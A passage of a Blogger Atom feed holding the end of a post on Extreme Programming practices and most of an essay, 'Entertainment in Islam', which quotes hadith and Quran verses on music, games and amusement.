AR-SA&quot;&gt;Small Releases &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;  &lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:      12.0pt;line-height:115%;mso-bidi-font-family:&amp;quot;Times New Roman&amp;quot;;mso-bidi-language:      AR-SA&quot;&gt;Customer Acceptance Tests &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;  &lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:      12.0pt;line-height:115%;mso-bidi-font-family:&amp;quot;Times New Roman&amp;quot;;mso-bidi-language:      AR-SA&quot;&gt;Simple Design &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;  &lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:      12.0pt;line-height:115%;mso-bidi-font-family:&amp;quot;Times New Roman&amp;quot;;mso-bidi-language:      AR-SA&quot;&gt;Pair Programming &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;  &lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:      12.0pt;line-height:115%;mso-bidi-font-family:&amp;quot;Times New Roman&amp;quot;;mso-bidi-language:      AR-SA&quot;&gt;Test-Driven Development &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;  &lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:      12.0pt;line-height:115%;mso-bidi-font-family:&amp;quot;Times New Roman&amp;quot;;mso-bidi-language:      AR-SA&quot;&gt;Refactoring &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;  &lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:      12.0pt;line-height:115%;mso-bidi-font-family:&amp;quot;Times New Roman&amp;quot;;mso-bidi-language:      AR-SA&quot;&gt;Continuous Integration &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;  &lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:      12.0pt;line-height:115%;mso-bidi-font-family:&amp;quot;Times New Roman&amp;quot;;mso-bidi-language:      AR-SA&quot;&gt;Collective Code Ownership &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;  &lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:      12.0pt;line-height:115%;mso-bidi-font-family:&amp;quot;Times New Roman&amp;quot;;mso-bidi-language:      AR-SA&quot;&gt;Coding Standards &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;  &lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:      12.0pt;line-height:115%;mso-bidi-font-family:&amp;quot;Times New Roman&amp;quot;;mso-bidi-language:      AR-SA&quot;&gt;Metaphor&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;  &lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:      12.0pt;line-height:115%;mso-bidi-font-family:&amp;quot;Times New Roman&amp;quot;;mso-bidi-language:      AR-SA&quot;&gt;Sustainable Pace&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt; &lt;/ul&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;font-family: Georgia, serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 100%; line-height: normal; &quot;&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%&quot;&gt;In XP, the “Customer” works very closely with the development team to define and prioritize granular units of functionality referred to as &quot;User Stories&quot;. The development team estimates, plans, and delivers the highest priority user stories in the form of working, tested software on an iteration by iteration basis.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;font-family: Georgia, serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 100%; line-height: normal; &quot;&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;font-family: Georgia, serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 100%; line-height: normal; &quot;&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;h1&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%&quot;&gt;&lt;a name=&quot;_Toc285754571&quot;&gt;References&lt;/a&gt;&lt;/span&gt;&lt;/h1&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%&quot;&gt;  &lt;p class=&quot;MsoNoSpacing&quot;&gt;&lt;a href=&quot;http://www.oobeyagroup.com/images/ExtremeProgrammingAgileSoftwareDevelopmentLindstromJeffries.pdf&quot;&gt;http://www.oobeyagroup.com/images/ExtremeProgrammingAgileSoftwareDevelopmentLindstromJeffries.pdf&lt;/a&gt;&lt;span style=&quot;font-size: 12pt; line-height: 115%; &quot;&gt; &lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNoSpacing&quot;&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Agile_software_development&quot;&gt;http://en.wikipedia.org/wiki/Agile_software_development&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNoSpacing&quot;&gt;&lt;span style=&quot;font-size: 12pt; line-height: 115%; &quot;&gt;http://www.my-project-management-expert.com/the-advantages-and-disadvantages-of-agile-software-development.html&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNoSpacing&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;p class=&quot;MsoNoSpacing&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://wakirmani.blogspot.com/feeds/2623225114269777169/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://wakirmani.blogspot.com/2012/04/agile-development-extreme-programming.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/2623225114269777169'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/2623225114269777169'/><link rel='alternate' type='text/html' href='http://wakirmani.blogspot.com/2012/04/agile-development-extreme-programming.html' title='Agile Development-Extreme Programming'/><author><name>wakirmani</name><uri>http://www.blogger.com/profile/13368520491430656344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcfZLPcH8_SloG-P0rNxB5ZjnybtDAIJfbHaIBIG1NWKMyvbTsoYBXYpPRbpwaXQ4qhkoo61rIShDNxmArk9v0V3gS1A-zXZm6UGWQ6Vcj1T0rFAh7EiHNEOUiI4NF4g/s1600/2d8d18d8097f13ea921de0dab1c4fc0a%3Fs%3D128%26d%3Didenticon%26r%3DPG'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjn69jtlUp-UUp8g4oMcb5VQh6rD4z_2r9Foujk5MZ93t4fPxKxxQxmgao-8ZCT5AF0-iglMOoGD8RF3XRagIaZyzD6MjlCh-7m3bf5_R0xS8WBEfwfvGqj2zRlNm_T4MiyKvdSVfNXco0r/s72-c/Untitled.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8695623483091342808.post-7406066507164084912</id><published>2012-04-17T10:25:00.003-07:00</published><updated>2012-04-21T16:03:51.129-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Religion"/><title type='text'>Entertainment in Islam</title><content type='html'>&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align:justify&quot;&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%&quot;&gt;Public debate tends to focus on the distinction between violent extremists and non‐violent or ‘moderate’ Muslims, whereas there are a vast number of differences depending especially on country of origin. Any classification is in danger of over‐simplification but for present purposes four groups are important: violent extremists; religious fundamentalists who are Quranic literalists but not violent; liberal Muslims who want to reform Islam to make it compatible with liberal‐democracy; and secular Muslims who were born to Islam and maintain some links, perhaps out of respect for their parents. Before going in more depth first we need to see from where to begin. Let start from the word &lt;i&gt;Entertainment; &lt;/i&gt;this word&lt;i&gt; &lt;/i&gt;comes in our mind when we start our education and learn that who is the creature, whom should we obey and what pleased us? But, while the students get promoted to new classes they became closer to this word and getting far from their religion, here we are taking about Islam. Mostly Islamic families who lied in first two groups aim to capture the next generation of Muslims for fundamentalism and to turn children away, not only from Western influence, but also from liberal and secular Muslims, whom they despise perhaps with greater vehemence than non‐Muslims. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align:justify&quot;&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%&quot;&gt;The approach of some of the Muslim schools we have studied is the result not of violent extremism but of religious fundamentalism. They see non‐Muslim countries as part of the realm of unbelief and they see education as a process of inoculating children against infection by Western ideas. As far as possible they try to shield children from Western influence—hence the prohibition of art, music, and drama—but above all children are taught to reject the Western tradition of learning through discussion and argument. Fundamentalists see Islam as a world of faith. If you want to know the truth on some point, then consult the Quran or Islamic legal traditions. If children are given counter‐arguments to Western ideas, it is typically not in a spirit of free inquiry, but rather to teach them the words they can use to resist Western influence. The liberal ideals of Milton and Locke, that we should learn to be self‐critical and teach ourselves the disinterested pursuit of truth, are held in contempt.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align:justify&quot;&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%&quot;&gt;Most of the religions try to add Entertainment to their religions in order to keep their believers with them and try to attract others. But, in Islam Entertainment exist if we see it neither as extremist nor as a critic. Music in Islam is prohibited by some Hadith in Bukhari Shareef.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoListParagraphCxSpFirst&quot; style=&quot;margin-top:0in;margin-right:.5in; margin-bottom:10.0pt;margin-left:.75in;mso-add-space:auto;text-align:justify; text-indent:-.25in;mso-list:l7 level1 lfo1;tab-stops:6.0in&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%&quot;&gt;1.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; font-style: normal; line-height: normal; &quot;&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;!--[endif]--&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%&quot;&gt;Narrated Abu &#39;Amir or Abu Malik Al-Ash&#39;ari: that he heard the Prophet saying, &quot;From among my followers there will be some people who will consider illegal sexual intercourse, the wearing of silk, the drinking of alcoholic drinks and the use of Musical instruments, as lawful. And there will be some people who will stay near the side of a mountain and in the evening their shepherd will come to them with their sheep and ask them for something, but they will say to him, &#39;Return to us tomorrow.&#39; Allah will destroy them during the night and will let the mountain fall on them, and He will transform the rest of them into monkeys and pigs and they will remain so till the Day of Resurrection.&quot;  (Book &lt;/span&gt;&lt;/i&gt;&lt;a href=&quot;http://www.searchtruth.com/book_display.php?book=69&amp;amp;translator=1&amp;amp;start=0&amp;amp;number=494v&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;color:windowtext;text-decoration:none; text-underline:none&quot;&gt;#69&lt;/span&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%&quot;&gt;, Hadith &lt;/span&gt;&lt;/i&gt;&lt;a href=&quot;http://www.searchtruth.com/book_display.php?book=69&amp;amp;translator=1&amp;amp;start=0&amp;amp;number=494v#494v&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;color:windowtext;text-decoration:none; text-underline:none&quot;&gt;#494v&lt;/span&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%&quot;&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;margin-top:0in;margin-right:.5in; margin-bottom:10.0pt;margin-left:.75in;mso-add-space:auto;text-align:justify; text-indent:-.25in;mso-list:l7 level1 lfo1&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%&quot;&gt;2.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; font-style: normal; line-height: normal; &quot;&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;!--[endif]--&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%&quot;&gt;Narrated Aisha: Allah&#39;s Apostle (p.b.u.h) came to my house while two girls were singing beside me the songs of Buath (a story about the war between the two tribes of the Ansar, the Khazraj and the Aus, before Islam). The Prophet (p.b.u.h) lay down and turned his face to the other side. Then Abu Bakr came and spoke to me harshly saying, &quot;Musical instruments of Satan near the Prophet (p.b.u.h) ?&quot; Allah&#39;s Apostle (p.b.u.h) turned his face towards him and said, &quot;Leave them.&quot; When Abu Bakr became inattentive, I signaled to those girls to go out and they left. It was the day of &#39;Id, and the Black people were playing with shields and spears; so either I requested the Prophet (p.b.u.h) or he asked me whether I would like to see the display. I replied in the affirmative. Then the Prophet (p.b.u.h) made me stand behind him and my cheek was touching his cheek and he was saying, &quot;Carry on! O Bani Arfida,&quot; till I got tired. The Prophet (p.b.u.h) asked me, &quot;Are you satisfied (Is that sufficient for you)?&quot; I replied in the affirmative and he told me to leave.  (Book &lt;/span&gt;&lt;/i&gt;&lt;a href=&quot;http://www.searchtruth.com/book_display.php?book=15&amp;amp;translator=1&amp;amp;start=0&amp;amp;number=70&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;color:windowtext;text-decoration:none; text-underline:none&quot;&gt;#15&lt;/span&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%&quot;&gt;, Hadith &lt;/span&gt;&lt;/i&gt;&lt;a href=&quot;http://www.searchtruth.com/book_display.php?book=15&amp;amp;translator=1&amp;amp;start=0&amp;amp;number=70#70&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;color:windowtext;text-decoration:none; text-underline:none&quot;&gt;#70&lt;/span&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%&quot;&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;margin-top:0in;margin-right:.5in; margin-bottom:10.0pt;margin-left:.75in;mso-add-space:auto;text-align:justify; text-indent:-.25in&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%&quot;&gt; &lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;margin-top:0in;margin-right:.5in; margin-bottom:10.0pt;margin-left:.75in;mso-add-space:auto;text-align:justify; text-indent:-.25in;mso-list:l7 level1 lfo1&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%&quot;&gt;3.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; font-style: normal; line-height: normal; &quot;&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;!--[endif]--&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%&quot;&gt;Narrated Aisha: Abu Bakr came to my house while two small Ansari girls were singing beside me the stories of the Ansar concerning the Day of Buath. And they were not singers. Abu Bakr said protestingly, &quot;Musical instruments of Satan in the house of Allah&#39;s Apostle!&quot; It happened on the &#39;Id day and Allah&#39;s Apostle said, &quot;O Abu Bakr! There is an &#39;Id for every nation and this is our &#39;Id.&quot;  (Book &lt;/span&gt;&lt;/i&gt;&lt;a href=&quot;http://www.searchtruth.com/book_display.php?book=15&amp;amp;translator=1&amp;amp;start=0&amp;amp;number=72&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;color:windowtext;text-decoration:none; text-underline:none&quot;&gt;#15&lt;/span&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%&quot;&gt;, Hadith &lt;/span&gt;&lt;/i&gt;&lt;a href=&quot;http://www.searchtruth.com/book_display.php?book=15&amp;amp;translator=1&amp;amp;start=0&amp;amp;number=72#72&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;color:windowtext;text-decoration:none; text-underline:none&quot;&gt;#72&lt;/span&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%&quot;&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;margin-top:0in;margin-right:.5in; margin-bottom:10.0pt;margin-left:.75in;mso-add-space:auto;text-align:justify; text-indent:-.25in&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%&quot;&gt; &lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoListParagraphCxSpLast&quot; style=&quot;margin-top:0in;margin-right:.5in; margin-bottom:10.0pt;margin-left:.75in;mso-add-space:auto;text-align:justify; text-indent:-.25in;mso-list:l7 level1 lfo1&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%&quot;&gt;4.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; font-style: normal; line-height: normal; &quot;&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;!--[endif]--&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%&quot;&gt;Narrated Aisha: That once Abu Bakr came to her on the day of &#39;Id-ul-Fitr or &#39;Id ul Adha while the Prophet was with her and there were two girl singers with her, singing songs of the Ansar about the day of Buath. Abu Bakr said twice. &quot;Musical instrument of Satan!&quot; But the Prophet said, &quot;Leave them Abu Bakr, for every nation has an &#39;Id (i.e. festival) and this day is our &#39;Id.&quot;  (Book &lt;/span&gt;&lt;/i&gt;&lt;a href=&quot;http://www.searchtruth.com/book_display.php?book=58&amp;amp;translator=1&amp;amp;start=0&amp;amp;number=268&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;color:windowtext;text-decoration:none; text-underline:none&quot;&gt;#58&lt;/span&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%&quot;&gt;, Hadith &lt;/span&gt;&lt;/i&gt;&lt;a href=&quot;http://www.searchtruth.com/book_display.php?book=58&amp;amp;translator=1&amp;amp;start=0&amp;amp;number=268#268&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;color:windowtext;text-decoration:none; text-underline:none&quot;&gt;#268&lt;/span&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%&quot;&gt;) &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align:justify&quot;&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%&quot;&gt;But, music is not the only entertainment as playing games, dating girl, sex, smoking and drinking are also part of entertainment as our new generation thinks. But, in real these are all the things which we think are required to make a religion more attractive. But in real things are totally different which can be indentified from following facts.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align:justify&quot;&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%&quot;&gt; &lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align:justify&quot;&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%&quot;&gt;FACTS:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align:justify&quot;&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%&quot;&gt;Sports in Islam:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align:justify&quot;&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%&quot;&gt;Let see it in the light of Quran, few Ayâts from the Holy Qurân which have been reproduced below, use the words &quot;&lt;i&gt;lahw&lt;/i&gt;&quot; and &quot;&lt;i&gt;la&#39;ib&lt;/i&gt;&quot;. The Fuqaha (jurists) have used the same words for sport and games.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: 63.0pt;text-align:justify;text-indent:-.25in;mso-list:l6 level1 lfo2; tab-stops:427.5pt&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;i&gt;1.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; font-style: normal; &quot;&gt;      &lt;/span&gt;&lt;/i&gt;&lt;!--[endif]--&gt;&lt;i&gt;&quot;Nothing is the life of this world but play and amusement.&lt;br /&gt;But best is the Home in the Hereafter, for those who are righteous.&lt;br /&gt;Will you not then understand?&quot;(Al Quraan 6:32)&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: 63.0pt;text-align:justify;text-indent:-.25in;mso-list:l6 level1 lfo2&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;i&gt;2.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; font-style: normal; &quot;&gt;      &lt;/span&gt;&lt;/i&gt;&lt;!--[endif]--&gt;&lt;i&gt;&quot;Leave alone those who take their religion to be mere play and amusement, and are deceived by the life of this world.&quot;(Al Quraan 6:70)&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: 63.0pt;text-align:justify;text-indent:-.25in;mso-list:l6 level1 lfo2&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;i&gt;3.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; font-style: normal; &quot;&gt;      &lt;/span&gt;&lt;/i&gt;&lt;!--[endif]--&gt;&lt;i&gt;&quot;What is the life of this world but amusement and play? Verily the Home of the Hereafter, that is life indeed, if they but knew.&quot;(Al Quraan 29:64)&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: 63.0pt;text-align:justify;text-indent:-.25in;mso-list:l6 level1 lfo2&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;i&gt;4.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; font-style: normal; &quot;&gt;      &lt;/span&gt;&lt;/i&gt;&lt;!--[endif]--&gt;&lt;i&gt;&quot;The life of this world is but play and amusement:&lt;br /&gt;And if you believe and guard against evil, He will grant you your recompense, and will not ask you (to give up) your possessions.&quot;(Al Quraan 47:36)&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: 63.0pt;text-align:justify;text-indent:-.25in;mso-list:l6 level1 lfo2&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;i&gt;5.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; font-style: normal; &quot;&gt;      &lt;/span&gt;&lt;/i&gt;&lt;!--[endif]--&gt;&lt;i&gt;&quot;Know you (all) that the life of this world is but play and a pastime, adornment and mutual boasting and multiplying, (in rivalry) among yourselves, riches and children.&quot;(Al Quraan 57:20)&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: 63.0pt;text-align:justify;text-indent:-.25in;mso-list:l6 level1 lfo2&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;i&gt;6.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; font-style: normal; &quot;&gt;      &lt;/span&gt;&lt;/i&gt;&lt;!--[endif]--&gt;&lt;i&gt;&quot;So leave them to plunge in vain talk and play about, until they encounter that day of theirs which they have been promised!&quot;(Al Quraan 70:42)&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align:justify&quot;&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%&quot;&gt;Difference in Between &lt;em&gt;lahw&lt;/em&gt;&lt;strong&gt;&lt;span style=&quot;font-weight:normal&quot;&gt; and &lt;/span&gt;&lt;/strong&gt;&lt;em&gt;la&#39;ib:&lt;o:p&gt;&lt;/o:p&gt;&lt;/em&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoListParagraphCxSpFirst&quot; style=&quot;margin-top:0in;margin-right:.5in; margin-bottom:10.0pt;margin-left:1.0in;mso-add-space:auto;text-align:justify; text-indent:-.25in;mso-list:l1 level1 lfo5;tab-stops:6.0in&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-weight:normal&quot;&gt;1.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; font-style: normal; line-height: normal; &quot;&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-size: 12.0pt;line-height:115%;font-weight:normal&quot;&gt;Commenting on Surah Muhammad, Allamah Razi writes that &lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;em&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%;font-style:normal&quot;&gt;la&#39;ib &lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-weight:normal&quot;&gt;is that work in which there is no benefit or gain. When one gets involved in it and gives up important work, it is &lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;em&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%;font-style:normal&quot;&gt;lahw&lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-weight:normal&quot;&gt;; and if he does not give up important work, it is&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;em&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-style:normal&quot;&gt; la&#39;ib&lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-weight:normal&quot;&gt;. Hence the means and instruments of games and pastimes constitute &lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;em&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-style:normal&quot;&gt;lahw&lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-weight:normal&quot;&gt;, while chess etc. are&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;em&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%; font-style:normal&quot;&gt; la&#39;ib&lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%;font-weight:normal&quot;&gt; (vol xxvii, p.73). In the interpretation of Surah Muhammad, the great commentator Allamah Razi writes that in worldly life, the time that is spent in good virtuous work and in acquiring the necessities of life is good, but that time which is spent on unnecessary work is very bad. To engage in &lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;em&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%;font-style:normal&quot;&gt;la&#39;ib&lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-weight:normal&quot;&gt; (games) is the work of children. Having played, they exhaust themselves, and that work (games) comes to an end without any benefit. &lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;em&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-style:normal&quot;&gt;Lahw&lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;font-weight:normal&quot;&gt; is the work of young men who often repent after some time, which it would have been better if they had 